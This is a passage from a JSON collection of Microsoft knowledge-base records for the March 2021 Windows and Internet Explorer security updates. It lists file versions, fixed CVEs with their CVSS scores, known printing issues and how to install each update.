\nsqmapi.dll| 6.0.6000.16386| 13-Feb-2021| 12:52| 176,048 \nVGX.dll| 9.0.8112.21532| 13-Feb-2021| 12:29| 997,376 \nurl.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 237,056 \nieframe.dll| 9.0.8112.21532| 13-Feb-2021| 12:33| 10,944,000 \nieui.dll| 9.0.8112.21532| 13-Feb-2021| 12:25| 248,320 \nieinstal.exe| 9.0.8112.21532| 13-Feb-2021| 12:28| 490,496 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:56| 393,813 \ninetres.admx| Not versioned| 27-Apr-2018| 10:14| 1,601,204 \njsdebuggeride.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 141,312 \njscript.dll| 5.8.7601.21527| 13-Feb-2021| 12:28| 818,176 \njscript9.dll| 9.0.8112.21532| 13-Feb-2021| 12:36| 2,358,784 \nvbscript.dll| 5.8.7601.21527| 13-Feb-2021| 12:28| 583,680 \niexplore.exe| 9.0.8112.21532| 13-Feb-2021| 11:48| 751,544 \nieUnatt.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 142,848 \nurlmon.dll| 9.0.8112.21532| 13-Feb-2021| 11:38| 1,141,248 \ninetcpl.cpl| 9.0.8112.21532| 13-Feb-2021| 11:36| 1,427,968 \nwininet.dll| 9.0.8112.21532| 13-Feb-2021| 11:37| 1,132,032 \njsproxy.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 75,776 \nWininetPlugin.dll| 1.0.0.1| 13-Feb-2021| 11:36| 66,048 \ntdc.ocx| 9.0.8112.21532| 13-Feb-2021| 11:35| 63,488 \niedvtool.dll| 9.0.8112.21532| 13-Feb-2021| 11:37| 678,912 \ndxtmsft.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 354,304 \ndxtrans.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 223,744 \nmsfeeds.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 607,744 \nmsfeeds.mof| Not versioned| 13-Feb-2021| 11:11| 1,518 \nmsfeedsbs.mof| Not versioned| 13-Feb-2021| 11:11| 1,574 \nmsfeedsbs.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 41,472 \nmsfeedssync.exe| 9.0.8112.21532| 13-Feb-2021| 11:35| 10,752 \nmshta.exe| 9.0.8112.21532| 13-Feb-2021| 11:35| 11,776 \nhtml.iec| 2019.0.0.21527| 13-Feb-2021| 11:40| 367,616 \nmshtmled.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 72,704 \nmshtml.dll| 9.0.8112.21532| 13-Feb-2021| 11:45| 12,844,544 \nmshtml.tlb| 9.0.8112.21532| 13-Feb-2021| 11:35| 2,382,848 \nielowutil.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 223,232 \nieproxy.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 195,072 \nIEShims.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 194,560 \nExtExport.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 22,528 \njsdbgui.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 388,096 \niertutil.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 1,808,384 \nsqmapi.dll| 6.0.6000.16386| 13-Feb-2021| 11:48| 142,776 \nVGX.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 769,024 \nurl.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 231,936 \nieframe.dll| 9.0.8112.21532| 13-Feb-2021| 11:39| 9,757,696 \nieui.dll| 9.0.8112.21532| 13-Feb-2021| 11:34| 176,640 \nieinstal.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 474,624 \njsdebuggeride.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 104,448 \njscript.dll| 5.8.7601.21527| 13-Feb-2021| 11:36| 723,456 \njscript9.dll| 9.0.8112.21532| 13-Feb-2021| 11:43| 1,819,648 \nvbscript.dll| 5.8.7601.21527| 13-Feb-2021| 11:36| 434,176 \n \n## Information about protection and security\n\n * Protect yourself online: [Windows Security support](<https://support.microsoft.com/hub/4099151/windows-security-help>)\n * Learn how we guard against cyber threats: [Microsoft Security](<https://www.microsoft.com/security>)\n\n## References\n\nLearn about the [terminology](<https://support.microsoft.com/help/824684>) that Microsoft uses to describe software updates.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "KB5000800: Cumulative security update for Internet Explorer: March 9, 2021", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000800", "href": "https://support.microsoft.com/en-us/help/5000800", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:31:20", "description": "None\n**12/8/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-10-update-servicing-cadence/ba-p/222376>). To view other notes and messages, see the Windows 10, version 1803 update history home page.\n\n## Highlights\n\n * Updates security for the Windows user interface.\n * Updates to improve security when Windows performs basic operations.\n * Updates to improve security when using Microsoft Office products.\n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an elevation of privilege security vulnerability documented in [CVE-2021-1640](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1640>) related to print jobs submitted to \u201cFILE:\u201d ports. After installing Windows updates from March 9, 2021 and later, print jobs that are in a pending state before restarting the print spooler service or restarting the OS will remain in an error state. Manually delete the affected print jobs and resubmit them to the print queue when the print spooler service is online.\n * Security updates to the Windows Shell, Windows User Account Control (UAC), Windows Fundamentals, Windows Core Networking, the Windows Kernel, the Microsoft Graphics Component, Windows Graphics, Internet Explorer, Microsoft Edge Legacy, and Windows Media.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, you might receive an APC_INDEX_MISMATCH error with a blue screen when attempting to print to certain printers in some apps.| This issue is resolved in KB5001565. \nAfter installing updates released March 9, 2021 or March 15, 2021, you might get unexpected results when printing from some apps. Issues might include:\n\n * Elements of the document might print as solid black/color boxes or might be missing, including barcodes, QR codes, and graphics elements, such as logos.\n * Table lines might be missing. Other alignment or formatting issues might also be present.\n * Printing from some apps or to some printers might result in a blank page or label.\n| This issue is resolved in KB5001634. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU (KB4580398) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000809>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5000809](<https://download.microsoft.com/download/9/0/d/90d4abf0-4129-404c-be46-5a1798eab386/5000809.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "March 9, 2021\u2014KB5000809 (OS Build 17134.2087)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1640", "CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000809", "href": "https://support.microsoft.com/en-us/help/5000809", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:31:21", "description": "None\n**2/16/21** \n**IMPORTANT **As part of the end of support for Adobe Flash, KB4577586 is now available as an optional update from Windows Update (WU) and Windows Server Update Services (WSUS). Installing KB4577586 will remove Adobe Flash Player permanently from your Windows device. Once installed, you cannot uninstall KB4577586. For more details about Microsoft\u2019s plans, see [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support>).\n\n**11/17/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-10-update-servicing-cadence/ba-p/222376>). To view other notes and messages, see the Windows 10, version 1809 update history home page.\n\n**Note **This release also contains updates for Microsoft HoloLens (OS Build 17763.1817) released March 9, 2021. Microsoft will release an update directly to the Windows Update Client to improve Windows Update reliability on Microsoft HoloLens that have not updated to this most recent OS Build.\n\n## Highlights\n\n * Updates security for the Windows user interface.\n * Updates to improve security when Windows performs basic operations.\n * Updates to improve security when using Microsoft Office products.\n\n## Improvements and fixes\n\n * Addresses an elevation of privilege security vulnerability documented in [CVE-2021-1640](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1640>) related to print jobs submitted to \u201cFILE:\u201d ports. After installing Windows updates from March 9, 2021 and later, print jobs that are in a pending state before restarting the print spooler service or restarting the OS will remain in an error state. Manually delete the affected print jobs and resubmit them to the print queue when the print spooler service is online.\n * Security updates to the Windows Shell, Windows Fundamentals, Windows Management, Windows Apps, Windows User Account Control (UAC), Windows Core Networking, Windows Hybrid Cloud Networking, the Windows Kernel, Windows Virtualization, the Microsoft Graphics Component, Internet Explorer, Microsoft Edge Legacy, and Windows Media.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing KB4493509, devices with some Asian language packs installed may receive the error, \"0x800f0982 - PSFX_E_MATCHING_COMPONENT_NOT_FOUND.\"| \n\n 1. Uninstall and reinstall any recently added language packs. For instructions, see Manage the input and display language settings in Windows 10.\n 2. Select **Check for Updates** and install the April 2019 Cumulative Update. For instructions, see Update Windows 10.\n**Note** If reinstalling the language pack does not mitigate the issue, reset your PC as follows:\n\n 1. Go to the **Settings **app &gt; **Recovery**.\n 2. Select **Get Started** under the **Reset this PC** recovery option.\n 3. Select **Keep my Files**.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, you might receive an APC_INDEX_MISMATCH error with a blue screen when attempting to print to certain printers in some apps.| This issue is resolved in KB5001568. \nAfter installing updates released March 9, 2021 or March 15, 2021, you might get unexpected results when printing from some apps. Issues might include:\n\n * Elements of the document might print as solid black/color boxes or might be missing, including barcodes, QR codes, and graphics elements, such as logos.\n * Table lines might be missing. Other alignment or formatting issues might also be present.\n * Printing from some apps or to some printers might result in a blank page or label.\n| This issue is resolved in KB5001638. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU (KB5000859) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000822>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5000822](<https://download.microsoft.com/download/f/2/f/f2fc2870-838b-4900-aaa6-4e1168d79b43/5000822.csv>).\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "March 9, 2021\u2014KB5000822 (OS Build 17763.1817)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1640", "CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000822", "href": "https://support.microsoft.com/en-us/help/5000822", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:31:24", "description": "None\n**Important: ** \n \nWindows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n**Important: ****March 9, 2021** \nAs part of the end of support for Adobe Flash, [KB4577586](<https://support.microsoft.com/help/4577586>) is now available as an optional update from Windows Update (WU) and Windows Server Update Services (WSUS). Installing KB4577586 will remove Adobe Flash Player permanently from your Windows device. Once installed, you cannot uninstall KB4577586[ ](<https://support.microsoft.com/help/4577586>). For more details about Microsoft\u2019s plans, see [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support>).\n\n## Improvements and fixes\n\nThis security update includes improvements and fixes that were a part of update [KB4601384](<https://support.microsoft.com/help/4601384>) (released February 9, 2021) and addresses the following issues:\n\n * Addresses an issue in which a non-native device that is in the same realm does not receive a Kerberos Service ticket from Active Directory DCs. This issue occurs even though Windows Updates are installed that contain [CVE-2020-17049](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049>) protections released between November 10 and December 8, 2020 and configured **PerfromTicketSignature** to **1** or larger. Ticket acquisition fails with **KRB_GENERIC_ERROR** if callers submit a PAC-less Ticket Granting Ticket (TGT) as an evidence ticket without the **USER_NO_AUTH_DATA_REQUIRED** flag being set for the user in User Account Controls.\n * Addresses an elevation of privilege security vulnerability documented in [CVE-2021-1640](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1640>) related to print jobs submitted to \u201cFILE:\u201d ports. After installing Windows updates from March 9, 2021 and later, print jobs that are in a pending state before restarting the print spooler service or restarting the OS will remain in an error state. Manually delete the affected print jobs and resubmit them to the print queue when the print spooler service is online.\n * Security updates to Windows Fundamentals, Windows Shell, Windows UAC, Windows Hybrid Cloud Networking, Windows Media, and Windows Graphics.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing updates released March 9, 2021, you might get unexpected results when printing from some apps. Issues might include:\n\n * Elements of the document might print as solid black/color boxes or might be missing, including barcodes, QR codes, and graphics elements, such as logos.\n * Table lines might be missing. Other alignment or formatting issues might also be present.\n * Printing from some apps or to some printers might result in a blank page or label.\n| This issue is resolved in KB5001640. \n \n## How to get this update\n\n### Before installing this update\n\nWe strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB4566425](<https://support.microsoft.com/help/4566425>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). \n\n### Install this update\n\n**Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000848>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Updates \n \n## File information\n\nFor a list of the files that are provided in this update, download the [file information for update 5000848](<https://download.microsoft.com/download/0/0/3/0036604e-4a48-4a7e-a819-1a9c3657f829/5000848.csv>).\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "March 9, 2021\u2014KB5000848 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17049", "CVE-2021-1640", "CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000848", "href": "https://support.microsoft.com/en-us/help/5000848", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T19:31:22", "description": "None\n**Important: **Verify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n\n**Important: **For information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2008 Service Pack 2 update history [home page](<https://support.microsoft.com/help/4343218>).\n\n## Improvements and fixes\n\nThis security update includes improvements and fixes that were a part of update [KB4601360](<https://support.microsoft.com/help/4601360>) (released February 9, 2021) and addresses the following issues: \n\n * Addresses an elevation of privilege security vulnerability documented in [CVE-2021-1640](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1640>) related to print jobs submitted to \u201cFILE:\u201d ports. After installing Windows updates from March 9, 2021 and later, print jobs that are in a pending state before restarting the print spooler service or restarting the OS will remain in an error state. Manually delete the affected print jobs and resubmit them to the print queue when the print spooler service is online.\n * Addresses an issue in which a non-native device that is in the same realm does not receive a Kerberos Service ticket from Active Directory DCs. This issue occurs even though Windows Updates are installed that contain [CVE-2020-17049](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049>) protections released between November 10 and December 8, 2020 and configured **PerfromTicketSignature** to **1** or larger. Ticket acquisition fails with **KRB_GENERIC_ERROR** if callers submit a PAC-less Ticket Granting Ticket (TGT) as an evidence ticket without the **USER_NO_AUTH_DATA_REQUIRED** flag being set for the user in User Account Controls.\n * Security updates to Windows Fundamentals, Windows Shell, and Windows Hybrid Cloud Networking.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing updates released March 9, 2021, you might get unexpected results when printing from some apps. Issues might include:\n\n * Elements of the document might print as solid black/color boxes or might be missing, including barcodes, QR codes, and graphics elements, such as logos.\n * Table lines might be missing. Other alignment or formatting issues might also be present.\n * Printing from some apps or to some printers might result in a blank page or label.\n| This issue is resolved in KB5001642. \n \n## How to get this update\n\n### Before installing this update\n\n**IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n\n### **Prerequisite**\n\nYou must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).\n\n### Install this update\n\n**Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000844>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## File information\n\nFor a list of the files that are provided in this update, download the [file information for cumulative update 5000844](<https://download.microsoft.com/download/b/4/c/b4ca9728-4c2d-46fd-b3b9-769235c4305a/5000844.csv>).\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "March 9, 2021\u2014KB5000844 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17049", "CVE-2021-1640", "CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000844", "href": "https://support.microsoft.com/en-us/help/5000844", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T19:31:20", "description": "None\n**NEW 3/9/21** \n**IMPORTANT **As part of the end of support for Adobe Flash, KB4577586 is now available as an optional update from Windows Update (WU) and Windows Server Update Services (WSUS). Installing KB4577586 will remove Adobe Flash Player permanently from your Windows device. Once installed, you cannot uninstall KB4577586. For more details about Microsoft\u2019s plans, see [Update on Adobe 